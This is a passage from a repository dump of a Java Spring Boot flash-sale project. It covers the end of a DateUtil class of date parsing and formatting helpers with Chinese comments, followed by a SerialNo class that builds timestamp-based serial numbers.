= \"KK\";\n    /**\n     * 一天内小时(0-23)\n     */\n    public static final String HOUR_IN_DAY = \"HH\";\n    /**\n     * 半天内小时(1-12)\n     */\n    public static final String HOUR_OF_APM = \"hh\";\n    /**\n     *  一天内小时(1-24)\n     */\n    public static final String HOUR_OF_DAY = \"kk\";\n\n    /**\n     * 年(四位)\n     */\n    public static final String LONG_YEAR = \"yyyy\";\n    /**\n     * 毫秒\n     */\n    public static final String MILL_SECOND = \"SSS\";\n    /**\n     * 分钟\n     */\n    public static final String MINUTE = \"mm\";\n    /**\n     * 月\n     */\n    public static final String MONTH = \"MM\";\n    /**\n     * 秒\n     */\n    public static final String SECOND = \"ss\";\n    /**\n     * 年(二位)\n     */\n    public static final String SHORT_YEAR = \"yy\";\n    /**\n     * 一个月里第几周\n     */\n    public static final String WEEK_IN_MONTH = \"W\";\n    /**\n     * 一年里第几周\n     */\n    public static final String WEEK_IN_YEAR = \"ww\";\n\n    public static final String DATE_FORMAT = \"yyyy-MM-dd\";\n    \n    /**\n     * 日期格式\n     */\n    private static final String[] PARSE_PATTERNS = {\n        \"yyyy-MM-dd\", \"yyyy-MM-dd HH:mm:ss\", \"yyyy-MM-dd HH:mm\", \"yyyy-MM\",\n        \"yyyy/MM/dd\", \"yyyy/MM/dd HH:mm:ss\", \"yyyy/MM/dd HH:mm\", \"yyyy/MM\",\n        \"yyyy.MM.dd\", \"yyyy.MM.dd HH:mm:ss\", \"yyyy.MM.dd HH:mm\", \"yyyy.MM\"\n    };\n    /**\n     * 检查目的时间是否已超过源时间值加上时间段长度\n     * <p>\n     * 用于判别当前是否已经超时\n     *\n     * @param destDate 目的时间，一般为当前时间\n     * @param sourceDate 源时间，一般为事件产生时间\n     * @param type 时间计算单位，为分钟、小时等\n     * @param elapse 持续时间长度\n     * @return 是否超时\n     * @throws RuntimeException\n     */\n    public static boolean compareElapsedTime(\n            Date destDate,\n            Date sourceDate,\n            int type,\n            int elapse)\n            throws RuntimeException {\n        if (destDate == null || sourceDate == null)\n            throw new RuntimeException(\"compared date invalid\");\n\n        return destDate.getTime() > getRelativeDate(sourceDate, type, elapse).getTime();\n    }\n\n    /**\n     * 取当前时间字符串\n     * <p>\n     * 时间字符串格式为：年(4位)-月份(2位)-日期(2位) 小时(2位):分钟(2位):秒(2位)\n     * @return 时间字符串\n     */\n    public static String getCurrentDateString() {\n        return getCurrentDateString(\"yyyy-MM-dd HH:mm:ss\");\n    }\n\n    /**\n     * 按格式取当前时间字符串\n     * <p>\n     * @param formatString 格式字符串\n     * @return\n     */\n    public static String getCurrentDateString(String formatString) {\n        Date currentDate = new Date();\n\n        return getDateString(currentDate, formatString);\n    }\n    \n    /**\n     * 日期型字符串转化为日期 格式\n     * { \"yyyy-MM-dd\", \"yyyy-MM-dd HH:mm:ss\", \"yyyy-MM-dd HH:mm\",\n     * \"yyyy/MM/dd\", \"yyyy/MM/dd HH:mm:ss\", \"yyyy/MM/dd HH:mm\",\n     * \"yyyy.MM.dd\", \"yyyy.MM.dd HH:mm:ss\", \"yyyy.MM.dd HH:mm\" }\n     *\n     * @param str the str\n     * @return the date\n     */\n    public static Date parseDate(Object str) {\n        if (str == null) {\n            return null;\n        }\n        try {\n            return org.apache.commons.lang3.time.DateUtils.parseDate(str.toString(), PARSE_PATTERNS);\n        } catch (ParseException e) {\n            return null;\n        }\n    }\n\n    /**\n     * 取当天在一周的第几天\n     * <p>\n     * @return int CurrentDayOfWeek\n     */\n    public static int getCurrentDayOfWeek() {\n        return getDayOfWeek(new Date());\n    }\n\n    public static Date getDate(Date date) {\n        return getDateFromString(getDateString(date, \"yyyy-MM-dd\"), \"yyyy-MM-dd\");\n    }\n\n    /**\n     * 根据时间字符串生成时间\n     *\n     * @param dateString 时间字符串格式\n     * @return 时间\n     * @throws RuntimeException\n     */\n    public static Date getDateFromString(String dateString)\n            throws RuntimeException {\n        return getDateFromString(dateString, \"yyyy-MM-dd HH:mm:ss\");\n    }\n    \n    /**\n     * 根据时间字符串生成时间\n     *\n     * @param dateString 时间字符串       格式 yyyy-MM-dd\n     * @return 时间\n     * @throws RuntimeException\n     */\n    public static Date getDateFromString1(String dateString)\n            throws RuntimeException {\n        return getDateFromString(dateString, \"yyyy-MM-dd\");\n    }\n\t/**\n\t * 字符转换为日期。\n\t * \n\t * @param source\n\t * @param patterns日期格式串如yyyy\n\t *            -MM-dd HH:mm:ss\n\t * @return\n\t */\n\tpublic static Date stringToDate(String source, String patterns) {\n\t\treturn stringToDate(source, patterns, true);\n\t}\n\t/**\n\t * 字符转换为日期。\n\t * \n\t * @param source\n\t * @param patterns日期格式串如yyyy\n\t *            -MM-dd HH:mm:ss\n\t * @param locate\n\t *            true--转化为东八区时间\n\t * @return\n\t */\n\tpublic static Date stringToDate(String source, String patterns,\n\t\t\tboolean locate) {\n\t\tif (locate)\n\t\t\treturn stringToDate(source, patterns, \"GMT+8\");\n\t\telse\n\t\t\treturn stringToDate(source, patterns, \"\");\n\t}\n\t/**\n\t * 字符串转换为指定时区时间\n\t * \n\t * @param source\n\t * @param patterns\n\t * @param timeZone如东八区GMT\n\t *            +8\n\t * @return\n\t */\n\tpublic static Date stringToDate(String source, String patterns,\n\t\t\tString timeZone) {\n\t\tSimpleDateFormat dateFormat = new SimpleDateFormat(patterns);\n\t\tDate date = null;\n\t\tif (source == null)\n\t\t\treturn date;\n\t\tif (timeZone != null && !timeZone.trim().equals(\"\"))\n\t\t\tdateFormat.setTimeZone(TimeZone.getTimeZone(timeZone));\n\t\ttry {\n\t\t\tdate = dateFormat.parse(source);\n\t\t} catch (java.text.ParseException e) {\n\t\t\tSystem.out.println(\"[string to date]\" + e.getMessage());\n\t\t}\n\n\t\treturn date;\n\t}\n    /**\n     * 根据字符串生成时间\n     *\n     * @param dateString 时间字符串\n     * @param pattern 时间字符串格式定义\n     * @return 时间\n     * @throws RuntimeException\n     */\n    public static Date getDateFromString(String dateString, String pattern)\n            throws RuntimeException {\n        SimpleDateFormat dateFormat = new SimpleDateFormat(pattern);\n        Date date = null;\n        try {\n            date = dateFormat.parse(dateString);\n        } catch (java.text.ParseException e) {\n            throw new RuntimeException(\n                    \"parse date string '\"\n                            + dateString\n                            + \"' with pattern '\"\n                            + pattern\n                            + \"' failed: \"\n                            + e.getMessage());\n        }\n\n        return date;\n    }\n\n    /**\n     * 取时间字符串\n     *\n     * @param date 时间\n     * @return 时间字符串\n     */\n    public static String getDateString(Date date) {\n        return getDateString(date, \"yyyy-MM-dd\");\n    }\n\n    /**\n     * 取时间字符串\n     *\n     * @param date 时间\n     * @param formatString 转换格式\n     * @return 时间字符串\n     */\n    public static String getDateString(Date date, String formatString) {\n        return getDateString(date, formatString, Locale.PRC);\n    }\n\n    /**\n     * 取时间字符串\n     *\n     * @param date 时间\n     * @param formatString 转换格式\n     * @param locale 地区\n     * @return 时间字符串\n     */\n    public static String getDateString(Date date, String formatString, Locale locale) {\n        if (date == null)\n            return null;\n\n        SimpleDateFormat dateFormat = new SimpleDateFormat(formatString, locale);\n\n        return dateFormat.format(date);\n    }\n\n\n    /**\n     * 取日期在一周的第几天\n     *\n     * @param date 日期\n     * @return\n     */\n    public static int getDayOfWeek(Date date) {\n        Calendar calendar = Calendar.getInstance();\n        calendar.setTime(date);\n\n        return calendar.get(Calendar.DAY_OF_WEEK);\n    }\n    /**\n     * 取日期在一周的星期几\n     *\n     * @param date 日期\n     * @return\n     */\n    public static String getDayOfWeekStr(String date) {\n    \tint weeks=getDayOfWeek(getDateFromString1(date));\n    \tString weekStr=\"\";\n    \tswitch (weeks) {\n\t\tcase 1:weekStr=\"星期日\";break;\n\t\tcase 2:weekStr=\"星期一\";break;\n\t\tcase 3:weekStr=\"星期二\";break;\n\t\tcase 4:weekStr=\"星期三\";break;\n\t\tcase 5:weekStr=\"星期四\";break;\n\t\tcase 6:weekStr=\"星期五\";break;\n\t\tcase 7:weekStr=\"星期六\";break;\n\t\t}\n        return weekStr;\n    \n    }\n    \n    /**\n     * 取日期在一周的星期几\n     *\n     * @param date 日期\n     * @return\n     */\n\t public static String getDayOfWeekStr(Date date) {\n\t    \tint weeks=DateUtil.getDayOfWeek(date);\n\t    \tString weekStr=\"\";\n\t    \tswitch (weeks) {\n\t\t\tcase 1:weekStr=\"周日\";break;\n\t\t\tcase 2:weekStr=\"周一\";break;\n\t\t\tcase 3:weekStr=\"周二\";break;\n\t\t\tcase 4:weekStr=\"周三\";break;\n\t\t\tcase 5:weekStr=\"周四\";break;\n\t\t\tcase 6:weekStr=\"周五\";break;\n\t\t\tcase 7:weekStr=\"周六\";break;\n\t\t\t}\n\t        return weekStr;\n\t    \n\t    }\n    /**\n     * 取日期在一月的第几天\n     *\n     * @param date 日期\n     * @return\n     */\n    public static int getDayOfMonth(Date date) {\n        Calendar calendar = Calendar.getInstance();\n        calendar.setTime(date);\n\n        return calendar.get(Calendar.DAY_OF_MONTH);\n    }\n\n    /**\n     * 取一个月的最大天数\n     *\n     * @param date 日期\n     * @return\n     */\n    public static int getDaysOfMonth(Date date) {\n        Calendar calendar = Calendar.getInstance();\n        calendar.setTime(date);\n\n        return calendar.getActualMaximum(Calendar.DAY_OF_MONTH);\n    }\n\n    /**\n     * 取日期所在月份的最大天数\n     *\n     * @param date 日期\n     * @return\n     */\n    public static int getMaximumDay(Date date) {\n        Calendar calendar = Calendar.getInstance();\n        calendar.setTime(date);\n\n        return calendar.getMaximum(Calendar.DAY_OF_MONTH);\n    }\n\n    /**\n     * 根据源时间和时长计算目的时间\n     *\n     * @param date 源时间\n     * @param type 时间单位\n     * @param relate 时长\n     * @return 目的时间\n     */\n    public static Date getRelativeDate(Date date, int type, int relate) {\n        Calendar calendar = Calendar.getInstance();\n        calendar.setTime(date);\n        calendar.add(type, relate);\n\n        return calendar.getTime();\n    }\n\n    /**\n     * 根据当前时间和时长计算目的时间\n     *\n     * @param type 时间单位\n     * @param relate 时长\n     * @return 目的时间\n     */\n    public static Date getRelativeDate(int type, int relate) {\n        Date current = new Date();\n\n        return getRelativeDate(current, type, relate);\n    }\n\n    /**\n     * 根据当前时间和时长生成目的时间字符串\n     *\n     * @param type 时间单位\n     * @param relate 时长\n     * @param formatString 时间格式\n     * @return 时间字符串\n     */\n    public static String getRelativeDateString(\n            int type,\n            int relate,\n            String formatString) {\n        return getDateString(getRelativeDate(type, relate), formatString);\n    }\n\n    /**\n     * 取时间戳字符串\n     *\n     * @param date 时间\n     * @return 时间戳字符串\n     */\n    public static String getTimestampString(Date date) {\n        return getDateString(date, \"yyyyMMddHHmmssSSS\");\n    }\n\n    /**\n     * 取当天日期值\n     *\n     * @return 日期的整数值\n     */\n    public static int getToday() {\n        return Integer.parseInt(getCurrentDateString(\"dd\"));\n    }\n\n    public static long getTimeDiff(Date fromDate, Date toDate, int type) {\n        fromDate = (fromDate == null) ? new Date() : fromDate;\n        toDate = (toDate == null) ? new Date() : toDate;\n        long diff = toDate.getTime() - fromDate.getTime();\n\n        switch(type) {\n            case DIFF_MILLSECOND:\n                break;\n\n            case DIFF_SECOND:\n                diff /= 1000;\n                break;\n\n            case DIFF_MINUTE:\n                diff /= 1000 * 60;\n                break;\n\n            case DIFF_HOUR:\n                diff /= 1000 * 60 * 60;\n                break;\n\n            case DIFF_DAY:\n                diff /= 1000 * 60 * 60 * 24;\n                break;\n\n            case DIFF_MONTH:\n                diff /= 1000 * 60 * 60 * 24 * 30;\n                break;\n\n            case DIFF_YEAR:\n                diff /= 1000 * 60 * 60 * 24 * 365;\n                break;\n\n            default:\n                diff = 0;\n                break;\n        }\n\n        return diff;\n    }\n\n    /**\n     * 比较时间戳是否相同\n     *\n     * @param arg0 时间\n     * @param arg1 时间\n     * @return 是否相同\n     */\n    public static boolean isTimestampEqual(Date arg0, Date arg1) {\n        return getTimestampString(arg0).compareTo(getTimestampString(arg1)) == 0;\n    }\n\n    /**\n     * 判断给定日期是否超过参照时间\n     * <br>\n     * @param srcTime\t准备操作处理的日期\n     * @param refTime\t作为标准的参考日期\n     * @return\tboolean\n     */\n    public static boolean isTimestampPassed(Date srcTime,Date refTime){\n        boolean isPassed;\n        int flag = srcTime.compareTo(refTime);\n        if(flag >= 0){\n            isPassed = true;\n        }else{\n            isPassed = false;\n        }\n        return isPassed;\n    }\n\n    /**\n     * 将java.sql.Date时间装换为java.util.Date时间\n     * @return java.util.Date\n     */\n    public static java.util.Date getUtilDate(java.sql.Timestamp timestamp){\n        if(timestamp==null){\n            return null;\n        }\n        java.util.Date utilDate = new java.util.Date(timestamp.getTime());\n        return utilDate;\n    }\n\n    /**\n     * 将java.util.Date时间装换为java.sql.Date时间\n     * @param utilDate\t\t\tjava.util.Date\n     * @return java.sql.Date\tyyyy-MM-dd格式的日期，不带时间\n     */\n    public static java.sql.Date getSQLDate(java.util.Date utilDate){\n        java.sql.Date sqlDate = new java.sql.Date(utilDate.getTime());\n        return sqlDate;\n    }\n\n    /**\n     * 将java.util.Date转换为java.sql.Timestamp时间\n     * @param utilDate java.util.Date\n     * @return java.sql.Timestamp\n     */\n    public static java.sql.Timestamp getSQLTimeStamp(java.util.Date utilDate){\n        if(null == utilDate || \"\".equals(utilDate)){\n            return null;\n        }else{\n            java.sql.Timestamp timestamp = new java.sql.Timestamp(utilDate.getTime());\n            return timestamp;\n        }\n    }\n\tpublic static List<String[]> getDays(int i) {\n\t\tList<String[]> dates = new ArrayList<String[]>();\n\t\t//SimpleDateFormat format = new SimpleDateFormat(\"MM月dd日 E\", Locale.CHINA);\n\t\tSimpleDateFormat format1 = new SimpleDateFormat(\"MM月dd日\", Locale.CHINA);\n\t\tCalendar calendar = Calendar.getInstance(Locale.CHINA);\n\t\tfor (int j = 0; j < i; j++) {\n\t\t\tString str = \"\";\n\t\t\tif (j == 0) {\n\t\t\t\tstr = \"今天  \";\n\t\t\t\tdates.add(new String[] { str+format1.format(calendar.getTime()).toString(), timeToString2(calendar.getTime()).toString() });\n\t\t\t} else {\n\t\t\t\tdates.add(new String[] { format1.format(calendar.getTime()).toString(), timeToString2(calendar.getTime()).toString() });\n\t\t\t}\n\t\t\tcalendar.add(Calendar.DATE, 1);\n\t\t}\n\t\t//测试用\n\t\t//dates.add(new String[]{\"今天\",\"2013-10-17\"});\n\t\t//dates.add(new String[]{\"10月18日\",\"2013-10-18\"});\n\t\t//dates.add(new String[]{\"10月19日\",\"2013-10-19\"});\n\t\t//dates.add(new String[]{\"10月20日\",\"2013-10-20\"});\n\t\treturn dates;\n\t}\n\tpublic static String timeToString2(Date date) {\n\t\tSimpleDateFormat simpleDateFormat = new SimpleDateFormat();\n\t\tsimpleDateFormat.applyPattern(\"yyyy-MM-dd\");\n\t\tString str = null;\n\t\tif (date == null)\n\t\t\treturn null;\n\t\tstr = simpleDateFormat.format(date);\n\t\treturn str;\n\t}\n    /**\n     * 获得指定日期的前一天\n     * \n    * @param specifiedDay\n     * @return\n     * @throws Exception\n     */\n    public static String getSpecifiedDayBefore(String specifiedDay) {\n        Calendar c = Calendar.getInstance();\n        Date date = null;\n        try {\n\t\t\tdate = new SimpleDateFormat(\"yy-MM-dd\").parse(specifiedDay);\n\t\t} catch (java.text.ParseException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n        c.setTime(date);\n        int day = c.get(Calendar.DATE);\n        c.set(Calendar.DATE, day - 1);\n\n       String dayBefore = new SimpleDateFormat(\"yyyy-MM-dd\").format(c\n                .getTime());\n        return dayBefore;\n    }\n\n   /**\n     * 获得指定日期的后一天\n     * \n    * @param specifiedDay\n     * @return\n     */\n   public static String getSpecifiedDayAfter(String specifiedDay) {\n       Calendar c = Calendar.getInstance();\n       Date date = null;\n       try {\n           date = new SimpleDateFormat(\"yy-MM-dd\").parse(specifiedDay);\n       } catch (java.text.ParseException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t    }\n       c.setTime(date);\n       int day = c.get(Calendar.DATE);\n       c.set(Calendar.DATE, day + 1);\n\n       String dayAfter = new SimpleDateFormat(\"yyyy-MM-dd\")\n                .format(c.getTime());\n       return dayAfter;\n   }\n    /**\n    * 计算两个日期的时间差\n    * @param formatTime1\n    * @param formatTime2\n    * @return\n    */\n    public static String getTimeDifference(Date formatTime1, Date formatTime2) {\n    SimpleDateFormat timeformat = new SimpleDateFormat(\"yyyy-MM-dd,HH:mm:ss\");\n    long t1 = 0L;\n    long t2 = 0L;\n    try {\n\t\tt1 = timeformat.parse(getTimeStampNumberFormat(formatTime1)).getTime();\n\t} catch (java.text.ParseException e) {\n\t\t// TODO Auto-generated catch block\n\t\te.printStackTrace();\n\t}\n    try {\n\t\tt2 = timeformat.parse(getTimeStampNumberFormat(formatTime2)).getTime();\n\t} catch (java.text.ParseException e) {\n\t\t// TODO Auto-generated catch block\n\t\te.printStackTrace();\n\t}\n    //因为t1-t2得到的是毫秒级,所以要初3600000得出小时.算天数或秒同理\n    int hours=(int) ((t1 - t2)/3600000);\n    int minutes=(int) (((t1 - t2)/1000-hours*3600)/60);\n    int second=(int) ((t1 - t2)/1000-hours*3600-minutes*60);\n    long ms= (long)((t1 - t2)/1000-hours*3600-minutes*60*1000);\n    return \"\"+hours+\"小时\"+minutes+\"分\"+second+\"秒\"+ms+\"毫秒\";\n    }\n    \n    \n    /**\n     * 计算两个日期的时间差（毫秒）\n     * @param formatTime1\n     * @param formatTime2\n     * @return\n     */\n     public static long getTimeDifferenceMS(Date formatTime1, Date formatTime2) {\n     SimpleDateFormat timeformat = new SimpleDateFormat(\"yyyy-MM-dd,HH:mm:ss\");\n     long t1 = 0L;\n     long t2 = 0L;\n     try {\n \t\tt1 = timeformat.parse(getTimeStampNumberFormat(formatTime1)).getTime();\n \t} catch (java.text.ParseException e) {\n \t\t// TODO Auto-generated catch block\n \t\te.printStackTrace();\n \t}\n     try {\n \t\tt2 = timeformat.parse(getTimeStampNumberFormat(formatTime2)).getTime();\n \t} catch (java.text.ParseException e) {\n \t\t// TODO Auto-generated catch block\n \t\te.printStackTrace();\n \t}\n    \n     long ms= t1 - t2;\n     return ms;\n     }\n    \n    \n    \n    /**\n    * 格式化时间\n    * Locale是设置语言敏感操作\n    * @param formatTime\n    * @return\n    */\n    public static String getTimeStampNumberFormat(Date formatTime) {\n    SimpleDateFormat m_format = new SimpleDateFormat(\"yyyy-MM-dd,HH:mm:ss\", new Locale(\"zh\", \"cn\"));\n    return m_format.format(formatTime);\n    }\n    \n    /**\n     * 对应获取时间\n     * @param iParam\n     * @return\n     */\n    public static String getAfterNDayStr(int iParam) {// iParam天后日期\n\t\tCalendar now = Calendar.getInstance();\n\t\tnow.add(Calendar.DAY_OF_YEAR, iParam);\n\t\tString sMonth = (now.get(Calendar.MONTH) + 1) > 9 ? \"\"\n\t\t\t\t+ (now.get(Calendar.MONTH) + 1) : \"0\"\n\t\t\t\t+ (now.get(Calendar.MONTH) + 1);\n\t\tString sDay = now.get(Calendar.DATE) > 9 ? \"\" + now.get(Calendar.DATE)\n\t\t\t\t: \"0\" + now.get(Calendar.DATE);\n\t\tString sHH = now.get(Calendar.HOUR_OF_DAY) > 9 ? \"\"\n\t\t\t\t+ now.get(Calendar.HOUR_OF_DAY) : \"0\"\n\t\t\t\t+ now.get(Calendar.HOUR_OF_DAY);\n\t\tString sMM = now.get(Calendar.MINUTE) > 9 ? \"\"\n\t\t\t\t+ now.get(Calendar.MINUTE) : \"0\" + now.get(Calendar.MINUTE);\n\t\tString sAfterNDay = now.get(Calendar.YEAR) + \"-\" + sMonth + \"-\" + sDay\n\t\t\t\t+ \",\" + sHH + sMM;\n\t\treturn sAfterNDay;\n\t}\n    \n    /**当前时间+n天\n     * @param n\n     * @return\n     */\n    public static String getDateByNowDate(int n){\n    \tString moreDate  = \"\";\n    \tDate date = new Date();\n    \tCalendar cal = Calendar.getInstance();\n    \tcal.setTime(date);\n    \tcal.add(Calendar.DATE,n);\n        moreDate  =(new SimpleDateFormat(\"yyyy-MM-dd\")).format(cal.getTime());\n        return moreDate;\n    }\n    \n    /**当前月份\n     * @param n\n     * @return\n     */\n    public static int getCurrMonthe(){\n    \tDate date = new Date();\n    \tint currMonthe=date.getMonth()+1;\n        return currMonthe;\n    }\n    \n    /**\n     * 获取时间戳\n     * @param date\n     * @return\n     */\n    public static long getDateTimestamp(Date date){\n    \tLong time = date.getTime();\n//    \tString times = String.valueOf(time);\n//    \ttimes = times.substring(0, 10);\n//    \ttime = Long.valueOf(times);\n    \treturn time;\n    }\n    \n    /**\n     * 获取时间戳\n     * @param date\n     * @return\n     */\n    public static long getDateTimestamp2(Date date){\n    \tLong time = date.getTime();\n    \tString times = String.valueOf(time);\n    \ttimes = times.substring(0, 10);\n    \ttime = Long.valueOf(times);\n    \treturn time;\n    }\n    \n    /**\n     * 根据时间戳获取日期\n     * @param timestamp\n     * @return\n     */\n    public static Date getDateBylong(Long timestamp){\n    \tSimpleDateFormat sdf = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n\t\tlong lcc_time = Long.valueOf(timestamp);\n\t\tString re_StrTime = sdf.format(new Date(lcc_time * 1000L));\n\t\treturn getDateFromString(re_StrTime);\n    }\n    \n    /**\n\t * 转换为时间（天,时:分:秒.毫秒）\n\t * @param timeMillis\n\t * @return\n\t */\n    public static String formatDateTime(long timeMillis){\n\t\tlong day = timeMillis/(24*60*60*1000);\n\t\tlong hour = (timeMillis/(60*60*1000)-day*24);\n\t\tlong min = ((timeMillis/(60*1000))-day*24*60-hour*60);\n\t\tlong s = (timeMillis/1000-day*24*60*60-hour*60*60-min*60);\n\t\tlong sss = (timeMillis-day*24*60*60*1000-hour*60*60*1000-min*60*1000-s*1000);\n\t\treturn (day>0?day+\",\":\"\")+hour+\":\"+min+\":\"+s+\".\"+sss;\n    }\n    \n    /**\n     * 获取日期起始时间\n     * @param date\n     * @return\n     */\n    public static Date getDayStartTime(Date date) {  \n        Calendar dayStart = Calendar.getInstance();\n        dayStart.setTime(date);\n        dayStart.set(Calendar.HOUR, 0);  \n        dayStart.set(Calendar.MINUTE, 0);  \n        dayStart.set(Calendar.SECOND, 0);  \n        dayStart.set(Calendar.MILLISECOND, 0);  \n        return dayStart.getTime();  \n    }\n\n    /**\n     * 获取日期起始时间\n     * @param date\n     * @return\n     */\n    public static Date getDayStartTimeBySecond(Date date) {\n        Calendar dayStart = Calendar.getInstance();\n        dayStart.setTime(date);\n        dayStart.set(Calendar.SECOND, 0);\n        dayStart.set(Calendar.MILLISECOND, 0);\n        return dayStart.getTime();\n    }\n\n    /**\n     * 获取日期终结时间\n     * @param date\n     * @return\n     */\n    public static Date getDayEndTime(Date date) {  \n        Calendar dayEnd = Calendar.getInstance();\n        dayEnd.setTime(date);\n        dayEnd.set(Calendar.HOUR, 23);  \n        dayEnd.set(Calendar.MINUTE, 59);  \n        dayEnd.set(Calendar.SECOND, 59);  \n        dayEnd.set(Calendar.MILLISECOND, 999);\n        return dayEnd.getTime();  \n    }\n\n    public static Date getDayEndTimeBySecond(Date date) {\n        Calendar dayEnd = Calendar.getInstance();\n        dayEnd.setTime(date);\n        dayEnd.set(Calendar.SECOND, 59);\n        //dayEnd.set(Calendar.MILLISECOND, 999);\n        return dayEnd.getTime();\n    }\n\n    public static Date getWeekStartDate(Date date){\n        Calendar cal = Calendar.getInstance();\n        cal.setTime(date);\n        cal.set(Calendar.DAY_OF_WEEK, Calendar.MONDAY);\n        cal.set(Calendar.HOUR_OF_DAY, 0);\n        cal.set(Calendar.MINUTE, 0);\n        cal.set(Calendar.SECOND, 0);\n        cal.set(Calendar.MILLISECOND,0);\n        return cal.getTime();\n    }\n\n    public static Date getMoonStartDate(Date date){\n        Calendar cal = Calendar.getInstance();\n        cal.setTime(date);\n        cal.set(Calendar.DATE, 1);\n        cal.set(Calendar.HOUR_OF_DAY, 0);\n        cal.set(Calendar.MINUTE, 0);\n        cal.set(Calendar.SECOND, 0);\n        cal.set(Calendar.MILLISECOND,0);\n        return cal.getTime();\n    }\n\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/utils/SerialNo.java",
    "content": "package com.jun.plugin.seckill.utils;\n\nimport java.text.NumberFormat;\nimport java.text.SimpleDateFormat;\n\n/**\n * @author Wujun\n *\n *         取序列号类\n */\npublic class SerialNo {\n\tprivate static long sequence;\n\tprivate static String compareTime;\n\tprivate static NumberFormat numberFormat;\n\n\tstatic {\n\t\tnumberFormat = NumberFormat.getInstance();\n\t\tnumberFormat.setGroupingUsed(false);\n\t\tnumberFormat.setMinimumIntegerDigits(5);\n\t\tnumberFormat.setMaximumIntegerDigits(5);\n\t}\n\n\t/**\n\t * 生成唯一序列号\n\t * <p>\n\t * 根据当前时间加五位序号，一共20位\n\t * \n\t * @return 序列号\n\t */\n\tpublic static synchronized String getUNID() {\n\t\t// System.out.println(sequence);\n\t\tString currentTime = DateUtil.getCurrentDateString(\"yyMMddHHmmssSSS\");\n\t\tif (compareTime == null || compareTime.compareTo(currentTime) != 0) {\n\t\t\tcompareTime = currentTime;\n\t\t\tsequence = 1;\n\t\t} else\n\t\t\tsequence++;\n\t\t// System.out.println(sequence);\n\t\tint i = (int) (Math.random() * 9000 + 1000);\n\t\t// System.out.println(numberFormat.format(sequence));\n\t\t// System.out.println(currentTime + i+sequence);\n\t\treturn currentTime + i + sequence;\n\t}\n\t\n\t/**\n\t * 生成唯一序列号\n\t * <p>\n\t * 根据当前时间生成，用于非批量数据记录生成时，一共15位(如果存在批量插入时，可能出现重复)\n\t * \n\t * @return 序列号\n\t */\n\tpublic static String getSerialforDB() {\n\t\treturn DateUtil.getCurrentDateString(\"yyMMddHHmmssSSS\");\n\t}\n\n\t/**\n\t * 生成短序列号\n\t * <p>\n\t * 根据当前时间生成，用于少量数据记录时。(可能出现重复，一般用于记录较少且变动不频繁的静态表的记录生成)\n\t * \n\t * @return 序列号\n\t */\n\tpublic static String getShortSerial() {\n\t\treturn DateUtil.getCurrentDateString(\"mmssSSS\");\n\t}\n\n\t/**\n\t * @return 形如 yyyyMMddHHmmssSSS-Z0000019558195832297 的(38位)保证唯一的递增的序列号字符串，\n\t *         主要用于数据库的主键，方便基于时间点的跨数据库的异步数据同步。\n\t *         前半部分是currentTimeMillis，后半部分是nanoTime（正数）补齐20位的字符串，\n\t *         如果通过System.nanoTime()获取的是负数，则通过nanoTime =\n\t *         nanoTime+Long.MAX_VALUE+1; 转化为正数或零。\n\t */\n\tpublic static String getTimeMillisSequence() {\n\t\tlong nanoTime = System.nanoTime();\n\t\tString preFix = \"\";\n\t\tif (nanoTime < 0) {\n\t\t\tpreFix = \"A\";// 负数补位A保证负数排在正数Z前面,解决正负临界值(如A9223372036854775807至Z0000000000000000000)问题。\n\t\t\tnanoTime = nanoTime + Long.MAX_VALUE + 1;\n\t\t} else {\n\t\t\tpreFix = \"Z\";\n\t\t}\n\t\tString nanoTimeStr = String.valueOf(nanoTime);\n\n\t\tint difBit = String.valueOf(Long.MAX_VALUE).length() - nanoTimeStr.length();\n\t\tfor (int i = 0; i < difBit; i++) {\n\t\t\tpreFix = preFix + \"0\";\n\t\t}\n\t\tnanoTimeStr = preFix + nanoTimeStr;\n\t\tSimpleDateFormat sdf = new SimpleDateFormat(\"yyyyMMddHHmmssSSS\"); // 24小时制\n\t\t// String\n\t\t// timeMillisSequence=sdf.format(System.currentTimeMillis())+\"-\"+nanoTimeStr;\n\t\treturn nanoTimeStr;\n\t}\n\n\tpublic static void main(String[] args) {\n\t\t// System.out.println(getTimeMillisSequence());\n\t\tString s1 = \"1111\";\n\t\tint count = 0;\n\t\tlong stat = System.currentTimeMillis();\n\t\tfor (int i = 0; i < 100000; i++) {\n\t\t\tString s2 = getUNID();\n\t\t\tSystem.out.println(s2);\n\t\t\t// if(s1.equals(s2)){\n\t\t\t// count++;\n\t\t\t// }\n\t\t\t// s1=s2;\n\t\t}\n\t\tSystem.out.println(System.currentTimeMillis() - stat);\n\t\tSystem.out.println(count);\n\t\t// System.out.println(getUNID());\n\t\t// System.out.println(getShortSerial());\n\t\t// UUID uuid = UUID.randomUUID();\n\t\t// System.out.println(uuid.toString());\n\t}\n\t\n\tpublic static synchronized String getUNID18() {\n\t\t// System.out.println(sequence);\n\t\tString currentTime = DateUtil.getCurrentDateString(\"yyMMddHHmmssSSS\");\n\t\tif (compareTime == null || compareTime.compareTo(currentTime) != 0) {\n\t\t\tcompareTime = currentTime;\n\t\t\tsequence = 1;\n\t\t} else\n\t\t\tsequence++;\n\t\t// System.out.println(sequence);\n\t\tint i = (int) (Math.random() * 90 + 10);\n\t\t// System.out.println(numberFormat.format(sequence));\n\t\t// System.out.println(currentTime + i+sequence);\n\t\treturn currentTime + i + sequence;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/utils/StringUtil.java",
